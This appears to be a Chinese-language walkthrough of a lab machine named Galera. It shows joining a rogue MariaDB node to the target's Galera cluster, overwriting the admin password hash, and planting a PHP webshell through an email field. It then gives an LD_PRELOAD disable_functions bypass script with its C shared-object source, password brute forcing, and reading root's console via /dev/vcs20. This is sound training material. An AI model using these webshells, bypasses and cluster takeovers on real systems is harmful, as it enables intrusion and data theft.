

发现了一个4567端口比较奇怪根据靶机名猜到是Galera集群
其特点如下:
同步复制 主动且多主的拓扑 读写任意节点 自动的成员资格控制,失效的成员会自动剔除 节点自动加入 row级别的并行复制 各节点可供客户端直接连接
|


php配置文件泄露

过滤了很多命令
80端口web服务爆破失败
我们尝试加入Galera集群已同步得到器数据库信息及操作权限

目标操作系统是 Debian 12 “Bookworm”Debian12, 默认仓库中的 MariaDB 版本是 10.11.11
为了防止集群同步过程出现问题我们也是用相同版本的MariaDB去伪装节点加入集群
创建节点docker配置结构如下
docker-compose.yml version: "3.9" # Docker Compose 文件格式版本
services: galera-atacante: image: mariadb:10.11.11 # 使用官方 MariaDB 镜像,带 Galera 支持 container_name: galera-atacante # 容器名称固定为 galera-atacante network_mode: host # 使用宿主机网络(必要条件,避免 SST 时端口问题) environment: - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes # 允许 root 用户密码为空(仅限开发环境使用) - MARIADB_ROOT_PASSWORD= # 明确设置空密码(与上面一起使用) - WSREP_SST_METHOD=rsync # 设置 SST(状态快照传输)方法为 rsync volumes: - ./conf.d:/etc/mysql/conf.d:ro # 将主机当前目录下的 conf.d 挂载到容器配置目录中(只读)
|
conf.d/galera.cnf [mysqld] # 推荐使用 [mysqld] 段名以确保所有版本兼容
# 启用 Galera 插件 wsrep_on=ON
# Galera 插件库路径(MariaDB 官方镜像中默认路径) wsrep_provider=/usr/lib/galera/libgalera_smm.so
# 集群种子节点地址: # - 第一个节点启动时可以写 gcomm:// # - 后续节点写入要连接的现有节点 IP wsrep_cluster_address=gcomm://192.168.56.107
# 当前节点绑定的 IP 地址(用于其他节点连接此节点) wsrep_node_address=192.168.56.103
# 当前节点的名称(任意命名,用于日志和识别) wsrep_node_name=atacante
# Galera 所要求的必要配置项 binlog_format=ROW # 使用 ROW 格式二进制日志(必须) default_storage_engine=InnoDB # Galera 仅支持 InnoDB 引擎 innodb_autoinc_lock_mode=2 # 设置自增锁模式,避免多节点插入冲突
# 设置 SST 方法(状态快照传输) # rsync 是最简单的方式,适合测试环境 wsrep_sst_method=rsync
|

docker去拉取MariaDB 镜像


已经成功加入集群
MariaDB [(none)]> SHOW DATABASES -> ; +--------------------+ | Database | +--------------------+ | galeradb | | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.002 sec)
MariaDB [(none)]> SHOW TABLES IN galeradb; +--------------------+ | Tables_in_galeradb | +--------------------+ | users | +--------------------+ 1 row in set (0.001 sec)
MariaDB [galeradb]> use galeradb; Database changed MariaDB [galeradb]> select * from users; +----+----------+------------------+--------------------------------------------------------------+---------------------+ | id | username | email | password | created_at | +----+----------+------------------+--------------------------------------------------------------+---------------------+ | 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-04 23:55:51 | +----+----------+------------------+--------------------------------------------------------------+---------------------+ 1 row in set (0.003 sec)
MariaDB [galeradb]>
|
这个md5一直爆不出来我们搞清楚加密方式之后直接重新改写密码即可


update users set password = "$2a$12$CkewrEGSS7dLbfapvfJVl.Jloq9WKR9bdRlYk6Thx2m/D7mXKE522" where id = 1 ;
|
修改完直接admin/admin登陆即可

这里发布消息之后我们进行查看但是不会解析

这个页面还有一个可控的点就是email
我们直接去修改email


可以上传文件可以设计LD_PRELOAD劫持来进行命令执行拿到shell
原理:LD_PRELOAD
的作用是注入一个你自己写的 .so
动态链接库,它在操作系统层面生效,直接与底层 glibc(C 标准库)交互,因此绕过了 PHP 在脚本层面对函数的禁用控制。
先整一个文件上传
UPDATE users SET email="<?php file_put_contents($_POST['a'],base64_decode($_POST['b']));?>" WHERE username='admin';
|
然后上传典型的 利用 LD_PRELOAD
绕过 disable_functions
实现命令执行的后门脚本
<?php // 输出一个示例 URL,说明该脚本的使用方法 echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
// 获取要执行的命令,如 cmd=pwd $cmd = $_GET["cmd"];
// 获取命令输出保存路径,如 outpath=/tmp/xx $out_path = $_GET["outpath"];
// 构造完整的命令行,将输出重定向到指定路径 $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
// 输出构造后的命令行(用于调试或提示) echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
// 将构造的命令写入自定义环境变量 EVIL_CMDLINE // 该变量将在 LD_PRELOAD 注入的 .so 文件中读取并执行 putenv("EVIL_CMDLINE=" . $evil_cmdline);
// 获取 .so 文件路径,如 sopath=/var/www/bypass_disablefunc_x64.so $so_path = $_GET["sopath"];
// 设置 LD_PRELOAD 环境变量为恶意 .so 的路径 // 这样下次触发 libc 函数调用时,该 .so 会被自动加载 putenv("LD_PRELOAD=" . $so_path);
// 触发 libc 层的函数调用,通常用 mail() 或 error_log() // 此调用会导致系统调用 send() 等 libc 函数,从而触发 LD_PRELOAD 加载 .so error_log('123', 1, 'test@qq.com', '');
// 下面两行是可选: // 读取命令执行输出结果并展示在网页上(被注释掉) // echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
// 删除输出文件,清理痕迹(被注释掉) // unlink($out_path); ?>
|
<?php $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); error_log('123',1,'test@qq.com','');
|
这一个能传上去
再写一个要利用用的.so
文件
e.so就是https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD这个项目里面的x64的so文件

base64编码后上传
#include <stdlib.h>
void __attribute__((constructor)) init() { char *cmd = getenv("EVIL_CMDLINE"); if (cmd != NULL) { system(cmd); // 执行命令 } }
|
最终没有拿到shell不知道怎么解决so文件base上传再编码之后和源文件不一致怎么解决
UPDATE users SET email='<?php include("/etc/passwd"); ?>' WHERE username='admin';
|

发现纯在用户donjuandeaustria
直接爆破密码

成功爆破出密码为amorcito
有一张图片
传出来做一下检查

就单纯是一张图片
什么都没有
可能是提示下面是兔子洞
linpeas.sh扫描
╔══════════╣ Analyzing Autologin Files (limit 70) -rw-r--r-- 1 root root 81 May 7 21:45 /etc/systemd/system/getty@tty20.service.d/autologin.conf [Service] ExecStart= ExecStart=-/sbin/agetty --autologin root --noclear %I $TERM
|
donjuandeaustria@galera:~$ who root tty20 2025-07-18 22:46 donjuandeaustria pts/0 2025-07-19 02:08 (192.168.56.103) donjuandeaustria@galera:~$ users donjuandeaustria root donjuandeaustria@galera:~$ donjuandeaustria@galera:/dev$ w 03:51:41 up 5:05, 2 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root tty20 - 22:46 5:05m 0.03s 0.01s -bash donjuand pts/0 192.168.56.103 02:08 1.00s 0.04s ? w
|
这就很明显知道两个终端而且 tty20肯定是root用户
都属于tty组我们直接查看root所在终端的内容
cat /dev/vcs20或者cat /dev/vcsa20就能看到root用户虚拟终端上的内容:
|

能看到root的密码
直接root登陆即可